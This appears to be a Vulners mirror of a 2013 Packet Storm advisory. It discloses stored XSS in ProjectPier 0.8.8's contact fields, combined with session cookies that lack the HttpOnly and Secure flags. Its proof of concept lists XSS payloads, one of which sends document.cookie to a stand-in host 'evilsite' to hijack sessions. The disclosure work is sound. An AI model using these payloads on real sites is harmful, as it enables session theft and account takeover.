Lucene search
K

Project Pier 0.8.8 XSS / Insecure Cookies

🗓️ 10 Jul 2013 00:00:00Reported by Carl BenedictType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 48 Views

ProjectPier 0.8.8 XSS / Insecure Cookies. Free PHP web app for task management

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2013-3635
7 Feb 202014:31
cve
CVE
CVE-2013-3636
7 Feb 202014:34
cve
CVE
CVE-2013-3637
7 Feb 202014:38
cve
Cvelist
CVE-2013-3635
7 Feb 202014:31
cvelist
Cvelist
CVE-2013-3636
7 Feb 202014:34
cvelist
Cvelist
CVE-2013-3637
7 Feb 202014:38
cvelist
EUVD
EUVD-2013-3568
7 Oct 202500:30
euvd
EUVD
EUVD-2013-3569
7 Oct 202500:30
euvd
EUVD
EUVD-2013-3570
7 Oct 202500:30
euvd
NVD
CVE-2013-3635
7 Feb 202015:15
nvd
Rows per page
`Summary  
--------------------  
Software : ProjectPier  
Version : 0.8.8 (other versions untested)  
Website : http://www.projectpier.org  
Issue : XSS (stored), Insecure Cookie storage  
CVSS Base : (AV:N/AC:M/Au:S/C:C/I:C/A:N)  
CVSS Score: 7.9  
Researcher: Carl Benedict  
  
Product Description  
--------------------  
ProjectPier is a Free, Open-Source, PHP web application for managing  
tasks, projects and teams through an intuitive web interface.  
  
Details  
--------------------  
The ProjectPier web application is affected by stored XSS and insecure  
cookie storage. The combination of these two vulnerabilities can lead  
to full compromise of application credentials by stealing session  
cookies.  
  
The stored XSS can be found in the Contact Name, Contact Company Name,  
Contact Description fields.  
  
Proof of Concept  
--------------------  
  
Enter any of the following strings into the Contact Name, Contact  
Company Name, and Company Description fields will generate a  
JavaScript alert dialog when viewing Contacts:  
  
<script>alert(1)</script  
  
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e  
  
Cookie insecurity:  
  
The session cookies are not protected by the HttpOnly or Secure flags,  
allowing them to be accessed via JavaScript and sent over HTTP.  
  
Basic JavaScript alert, returning cookie values:  
  
<script>alert(document.cookie)</script  
  
JavaScript that sends all cookie values to 'http://evilsite' for  
logging and reuse on the attacker side:  
  
<script>var url1 = "<img src=http://evilsite/" +  
encodeURIComponent(document.cookie) + ">"; document.writeln(url1);  
</script  
  
History  
--------------------  
11/07/2012 : Initial contact  
11/07/2012 : Vendor response. Fix planned  
11/12/2012 : Update requested  
05/21/2013 : No updates. Advisory released  
  
References  
--------------------  
Bug Report : http://www.projectpier.org/node/4520  
Screen Shot: http://www.projectpier.org/files/issues/ppci.jpg  
Screen Shot: http://www.projectpier.org/files/issues/ppci2.jpg  
Screen Shot: http://www.projectpier.org/files/issues/ppxss.jpg  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2013 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.00235
48